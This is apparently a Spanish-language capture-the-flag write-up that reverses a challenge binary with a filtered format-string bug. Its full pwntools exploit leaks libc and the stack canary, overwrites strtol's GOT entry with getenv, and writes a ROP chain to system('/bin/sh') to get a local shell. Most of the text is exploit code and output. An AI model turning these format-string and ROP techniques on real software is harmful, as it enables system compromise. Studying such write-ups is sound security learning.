Reversing
Si ejecutamos el binario nos devuelve como output lo que ingresemos como input
❯ ./chall
>> AAAA
AAAA
>>
Analizaremos el funcionamiento del programa asi que iniciamos desensamblando la función main
, esta establece que todo el stdin, stdout y stderr de redirige al socket
Luego de mostrar un prompt recibe en una variable buffer 0x180
o 384
bytes con fgets
, luego llama a la función check
y si devuelve 1
lo devuelve con printf
sin ningun formato, esto puede ocasionar una vulnerabilidad de tipo format string
La función check
inicia definiendo un iterador i
a 0
, luego inicia un bucle que se ejecutará mientras i
sea menor o igual a 383
, osea toda la longitud del buffer
Por cada iteración accede al byte del buffer en la posición i
y lo compara con %
, en caso de que no se cumpla añade una unidad a i
y vuelve nuevamente al bucle
Si encuentra el byte %
añade una unidad a counter
y a i
, luego accede al byte en la posición i
y la compara con 0
, aqui tenemos la primera de varias limitaciones
Si pasa la condición compara si el byte se encuentra entre el rango 0-9
, ese rango es invalido y si existe simplemente sale del programa sin llegar al format string
Las condiciones anteriores nos dicen que luego del byte %
al intentar explotar la vulnerabilidad no podemos acceder los datos en el rango de posiciones 1
a 9
, ni podemos anteponer el byte correspondiente a 0
en un intento de cumplirla
Si pasa las 2 condiciones anteriores llama a la función strtol
para obtener el entero que forman los 2
bytes y compara que el resultado sea menor o igual a 57
Esto supone una limitación bastante importante a la hora de explotar la vulnerabilidad ya que solo podemos usar un corto rango de posiciones desde la 10
hasta la 57
Explotación
Iniciamos mirando las protecciones con checksec
, el NX
nos impedirá ejecutar un shellcode en el stack y el Canary
establece una stack cookie en rbp - 8
, luego compara que no se haya modificado antes del ret evitando explotaciones del stack
❯ checksec chall
[*] '/home/user/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Sabemos que el rango válido es del 10
al 57
, entonces podemos lekear los punteros a partir del 10
usando el formato %p
, lo haremos y veremos como se comporta
❯ ./chall
>> %10$p.%11$p.%12$p
0x31252e7024303125.0x243231252e702431.0xa70
>>
Probaremos enviar los punteros en las posiciones válidas una a la vez, mirando los resultados luego del 10 todos son punteros null
y ningun leak interesante
#!/usr/bin/python3
from pwn import process, log
shell = process("./chall")
for i in range(10, 58):
shell.sendlineafter(b">> ", f"%{i}$p".encode())
leak = shell.recvline().strip().decode()
log.info(f"{i}: {leak}")
shell.interactive()
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 1247758
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall']
[*] 10: 0x7024303125
[*] 11: (nil)
[*] 12: (nil)
[*] 13: (nil)
[*] 14: (nil)
[*] 15: (nil)
[*] 16: (nil)
[*] 17: (nil)
[*] 18: (nil)
[*] 19: (nil)
.............
[*] 50: (nil)
[*] 51: (nil)
[*] 52: (nil)
[*] 53: (nil)
[*] 54: (nil)
[*] 55: (nil)
[*] 56: (nil)
[*] 57: (nil)
[*] Switching to interactive mode
>> $
El único puntero que nos muestra es en payload enviado en hexadecimal, lo que nos quiere decir que desde el primer puntero refleja nuestros datos y no valores del stack
❯ unhex 7024303125 | rev
%10$p
Entonces, podemos enviar %11$p
para hacer un leak de la posición 11
y luego rellenar con .
a 8
bytes que es el tamaño del puntero, luego enviamos AAAABBBB
, el resultado es que el leak muestra estos caractéres de la posición 11
como puntero
>> %11$p...AAAABBBB
0x4242424241414141...AAAABBBB
>>
Podemos aprovechar esto para hacer un leak de libc, para ello solo necesitamos la entrada got
de la función strtol
que contiene una referencia a su posición en libc
pwndbg> got -r strtol
Filtering by symbol name: strtol
State of the GOT of /home/user/chall:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x404030] strtol@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
pwndbg>
También necesitamos el offset ésta la misma función pero en libc que obtenemos con readelf
, esto para restarle esa cantidad al leak y obtener la dirección base de libc
❯ readelf -s libc.so.6 | grep strtol@
1204: 00000000000474e0 22 FUNC WEAK DEFAULT 15 strtol@@GLIBC_2.2.5
Entonces, ahora el exploit usa %11$s
para mostrar como string el contenido de la posición 11
, rellenamos el qword y para esa posición le pasamos la entrada got
de la función strtol
, entonces ejecutará algún tipo de printf(strtol@got)
que muestra la dirección de strtol
en memoria y al restar el offset nos da la dirección base de libc
#!/usr/bin/python3
from pwn import gdb, p64, u64, log
shell = gdb.debug("./chall", "continue")
payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)
libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0
log.info(f"Libc base: {hex(libc_base)}")
shell.interactive()
Ejecutamos el exploit y nos muestra la dirección lekeada, si comparamos esta dirección con la base de libc que vemos en gdb
es exactamente la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 834697
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall']
[*] Libc base: 0x7c488ce00000
[*] Switching to interactive mode
>> $
^C
Program received signal SIGINT, Interrupt.
0x00007c488cf147e2 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x404000 0x405000 rw-p 1000 5000 /home/user/chall
► 0x7c488ce00000 0x7c488ce28000 r--p 28000 0 /home/user/libc.so.6
► 0x7c488ce28000 0x7c488cfbd000 r-xp 195000 28000 /home/user/libc.so.6
► 0x7c488cfbd000 0x7c488d015000 r--p 58000 1bd000 /home/user/libc.so.6
► 0x7c488d015000 0x7c488d016000 ---p 1000 215000 /home/user/libc.so.6
► 0x7c488d016000 0x7c488d01a000 r--p 4000 215000 /home/user/libc.so.6
► 0x7c488d01a000 0x7c488d01c000 rw-p 2000 219000 /home/user/libc.so.6
0x7c488d093000 0x7c488d095000 r--p 2000 0 /home/user/ld-linux-x86-64.so.2
pwndbg>
Algo a tener en cuenta es que aunque tenemos un leak de libc aun necesitamos más leaks por ejemplo del stack, para ello eliminaremos la última limitación, toma el valor de retorno de la llamada a strtol
y compara que sea menor o igual que 57
Lo que haremos es modificar la entrada got
de strtol
a una función que siempre devuelva un valor de retorno bajo por ejemplo getenv
que casi siempre devuelve 0
❯ readelf -s libc.so.6 | grep getenv
1808: 0000000000044b70 229 FUNC GLOBAL DEFAULT 15 getenv@@GLIBC_2.2.5
Crearemos una función que escriba un qword
en una dirección específica a través de un format string y una primitiva write-what-where
, iniciamos creando un array con 8
tuplas que contienen la dirección donde queremos escribir el byte y el byte
que queremos escribir, una vez lo creamos ordenaremos las tuplas usando sorted
def write(what, where):
payload = b""
array = []
for i in range(8):
array.append((where + i, what & 0xff))
what >>= 8
array = sorted(array, key=lambda x: x[1])
Sabemos que el buffer es de 384
bytes y al final enviaremos 8
qwords de las direcciones, lo que nos deja un rango de 49
posiciones, iniciaremos ahí ya que si fuera la 50
usariamos los 384
que no nos dejaría espacio para el salto de linea
❯ python3 -q
>>> (49 - 10 + 8) * 8
376
>>> (50 - 10 + 8) * 8
384
>>>
Entonces una vez enviamos el payload rellenamos hasta los 312
bytes para llenar las posiciones, a partir de la posición 49
enviaremos los 8
qwords de las direcciones
>>> (49 - 10) * 8
312
>>>
Nuestro payload inicia escribiendo un payload de format string para escribir en la posición indicada con %
partiendo desde la 49
un byte con $hhn
que toma de la resta del valor menos los bytes escritos, luego de ello rellenamos hasta 312
bytes y finalizamos con los 8
qwords en las posiciones donde se deben escribir los bytes
written = 0
i = 49
for address, value in array:
payload += b"A" * (value - written)
payload += f"%{i}$hhn".encode()
written = value
i += 1
payload += b"A" * (312 - len(payload))
for address, value in array:
payload += p64(address)
shell.sendlineafter(b">> ", payload)
Ahora nuestro exploit luce de esta forma, luego de definir la función escribimos en la entrada got
de strtol
la dirección hacia la función getenv
, esto lo podemos comprobar desde gdb
, ahora al llamar a strtol
en realidad llamará a getenv
#!/usr/bin/python3
from pwn import gdb, p64, u64
shell = gdb.debug("./chall", "continue")
def write(what, where):
payload = b""
array = []
for i in range(8):
array.append((where + i, what & 0xff))
what >>= 8
array = sorted(array, key=lambda x: x[1])
written = 0
i = 49
for address, value in array:
payload += b"A" * (value - written)
payload += f"%{i}$hhn".encode()
written = value
i += 1
payload += b"A" * (312 - len(payload))
for address, value in array:
payload += p64(address)
shell.sendlineafter(b">> ", payload)
payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)
libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0
write(libc_base + 0x044b70, 0x404030) # strtol@got = getenv@glibc
shell.interactive()
^C
Program received signal SIGINT, Interrupt.
0x00007382ccd147e2 in read () from ./libc.so.6
pwndbg> x/gx 0x404030
0x404030 <strtol@got.plt>: 0x00007382ccc44b70
pwndbg> x/gx *(long long *)(0x404030)
0x7382ccc44b70 <getenv>: 0x56415741fa1e0ff3
pwndbg>
Una vez la condición se cumple podemos hacer leaks mas allá de la posición 57
#!/usr/bin/python3
from pwn import gdb, p64, u64, log
shell = gdb.debug("./chall", "continue")
def write(what, where):
...................
payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)
libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0
write(libc_base + 0x044b70, 0x404030) # strtol@got = getenv@glibc
for i in range(50, 70):
shell.sendlineafter(b">> ", f"%{i}$p".encode())
leak = shell.recvline().strip().decode()
log.info(f"{i}: {leak}")
shell.interactive()
El leak de la posición 59
muestra la stack cookie, lo sabemos porque termina con el byte 00
, además la posición 65
muestra una dirección perteneciente al stack
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 1249736
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall']
[*] 50: 0x404037
[*] 51: 0x404033
[*] 52: 0x404031
[*] 53: 0x404030
[*] 54: 0x404035
[*] 55: 0x404034
[*] 56: 0x404032
[*] 57: 0xa
[*] 58: (nil)
[*] 59: 0x5731707d0f649300
[*] 60: 0x1
[*] 61: 0x71953ce29d90
[*] 62: (nil)
[*] 63: 0x40137a
[*] 64: 0x100000000
[*] 65: 0x7ffdab10fb98
[*] 66: (nil)
[*] 67: 0xb23607c7e97a057f
[*] 68: 0x7ffdab10fb98
[*] 69: 0x40137a
[*] Switching to interactive mode
>> $
pwndbg> vmmap 0x7ffdab10fb98
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x71953d1eb000 0x71953d1ed000 rw-p 2000 39000 /home/user/ld-linux-x86-64.so.2
► 0x7ffdab0f1000 0x7ffdab112000 rw-p 21000 0 [stack] +0x1eb98
0x7ffdab11b000 0x7ffdab11f000 r--p 4000 0 [vvar]
pwndbg>
Una vez hacemos el leak del stack restauramos strtol
por su valor inicial, entonces si intentamos mostrar un valor mayor a 57
saldrá del programa lo que quiere decir que llegará al ret
del main
para salir, podemos usar ese ret
para ejecutar un ropchain
#!/usr/bin/python3
from pwn import gdb, p64, u64, log
shell = gdb.debug("./chall", "b *main+300\ncontinue")
def write(what, where):
...................
payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)
libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0
write(libc_base + 0x044b70, 0x404030) # strtol@got = getenv@glibc
shell.sendlineafter(b">> ", b"%65$p")
leak = int(shell.recvline().strip(), 16)
log.info(f"Stack leak: {hex(leak)}")
write(libc_base + 0x0474e0, 0x404030) # strtol@got = strtol@glibc
shell.sendlineafter(b">> ", b"%58$p")
shell.interactive()
Una vez llegamos al breakpoint del ret
en main+300
podemos ver el valor del registro rsp
, si restamos el valor del leak a el nos da un offset de 0x110
bytes, si escribimos en la dirección de rsp
al llegar al ret
ejecutará lo que escribamos ahí
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 1272760
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall']
[*] Stack leak: 0x7ffc5b8e4218
[*] Switching to interactive mode
$
Breakpoint 1, 0x00000000004014a6 in main ()
pwndbg> p/x $rsp
$1 = 0x7ffc5b8e4108
pwndbg> p/x 0x7ffc5b8e4218 - 0x7ffc5b8e4108
$2 = 0x110
pwndbg>
Nuestro exploit calcula la posición del rsp
cuando llegamos al ret
luego escribe ahí con la primitiva write-what-where
el ropchain una dirección a la vez hasta completarlo
#!/usr/bin/python3
from pwn import process, p64, u64
shell = process("./chall")
def write(what, where):
payload = b""
array = []
for i in range(8):
array.append((where + i, what & 0xff))
what >>= 8
array = sorted(array, key=lambda x: x[1])
written = 0
i = 49
for address, value in array:
payload += b"A" * (value - written)
payload += f"%{i}$hhn".encode()
written = value
i += 1
payload += b"A" * (312 - len(payload))
for address, value in array:
payload += p64(address)
shell.sendlineafter(b">> ", payload)
payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)
libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0
write(libc_base + 0x044b70, 0x404030) # strtol@got = getenv@glibc
shell.sendlineafter(b">> ", b"%65$p")
rsp = int(shell.recvline().strip(), 16) - 0x110
write(libc_base + 0x02a3e5, rsp + 0) # pop rdi; ret;
write(libc_base + 0x1d8678, rsp + 8) # "/bin/sh"
write(libc_base + 0x029139, rsp + 16) # ret;
write(libc_base + 0x050d70, rsp + 24) # system()
write(libc_base + 0x0474e0, 0x404030) # strtol@got = strtol@glibc
shell.sendlineafter(b">> ", b"%58$p")
shell.interactive()
Luego de escribir el ropchain y obligar ejecutar el ret
intentando acceder a una posición invalida como 58
, se ejecuta lo que escribimos y obtenemos una shell
❯ python3 exploit.py
[+] Starting local process './chall': pid 1283781
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$